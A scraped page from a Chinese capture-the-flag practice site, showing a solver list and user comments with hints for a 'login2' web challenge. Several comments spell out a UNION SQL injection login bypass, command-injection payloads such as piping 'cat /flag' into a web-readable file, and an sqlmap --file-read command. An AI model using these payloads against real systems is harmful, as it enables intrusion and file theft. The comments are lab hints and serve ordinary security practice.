评分(14)
解题动态
神龙 攻破了该题 7小时前
king... 攻破了该题 1天前
任务renwu 攻破了该题 1天前
luze 攻破了该题 1天前
加州故事 攻破了该题 2天前
mahiru 攻破了该题 3天前
xiaotongzhi 攻破了该题 3天前
f发条橙1515 攻破了该题 3天前
AsadaSinon 攻破了该题 4天前
12580 攻破了该题 4天前
N0rman 攻破了该题 4天前
levelk007 攻破了该题 5天前
cjl1214 攻破了该题 5天前
farsight 攻破了该题 6天前
1075220327 攻破了该题 6天前
yt430uu 攻破了该题 6天前
vb嘎嘎 攻破了该题 7天前
ItsAllOver 攻破了该题 7天前
兄弟不要颓废 攻破了该题 7天前
评论
厌弃. 1月前
举报
实在没思路可以看一下https://www.yuque.com/g/zhubingbing-mwvgf/ushfpr/ntu40vr3d98gibcu/collaborator/join?token=Y99THaE7V8rENfAC&source=doc_collaborator# 《login2》
西红柿dun牛腩 1月前
举报
有个问题啊，怎么知道flag是在/flag路径下的
123佳 1月前
举报
登录成功之后，输入框输入 任意字符 | ls / > 1.txt ，访问1.txt能看到文件名
我的刀盾 1月前
举报
不只是考察命令执行漏洞，还考察了md5的严格相等sql注入，前面使用sqlmap扫，用时间盲注但扫出来的数据是空的，看评论注意到响应报文有个tip,解码发现是个php代码，提示使用MD5”===“匹配输入的密码，绕过后才是命令执行，但不回显。输入0，列出所有进程，尝试ls -la / > /var/www/html/root.txt，然后url访问发现可以访问，解决了。
蟹不揉 4月前
举报
用sqlmap扫一遍发现有SQL注入漏洞，权限足够高直接sqlmap -r post.txt --batch --file-read=/flag
qq1002517 7月前
举报
flag{******}
5883120xly 10月前
举报
username= ' UNION SELECT '任意用户名', 'fae0b27c451c728867a567e8c1bb4e53' -- password=666 进入命令执行界面输入 666 | cat /flag >2.txt 访问http://117.72.52.127:14324/2.txt即可
你文博哥哥 1年前
举报
首先爆破，没出来，sqlmap扫了，账号密码为空，丫的，没法去找有用信息，源码，请求头，都没，最后在返回包找到了tip，解码，得到注入点，username输入admin'union select 1,md5(123)#&password(123),得到监控系统，然后看见输入框，想到了rce，然后尝试输入1，然后输入ls /，没回显，被过滤，后面利用tee命令，将查找写入新文件，访问即可
一个姓⎝李⎠的师傅~ 1年前
举报
做了 3 个小时，完整记录了自己的 25 个步骤，sqlmap 省略了因为没有可用信息！ 来看看吧，肯定会对你有帮助，联合注入的发现，命令执行写入文件绕过没有网页回显命令内容的办法，包括路径的讲解： https://www.yuque.com/u21437924/ap9vtm/gqkc3dcfmfpe5p85?singleDoc#zIr77
告别の记忆 1月前
举报
感谢分享，还是这个讲的清楚
꧁༺༽༾ཊCCཏ༿༼༻꧂ 1年前
举报
没难度
六分之杰 1年前
举报
https://zhuanlan.zhihu.com/p/7343164566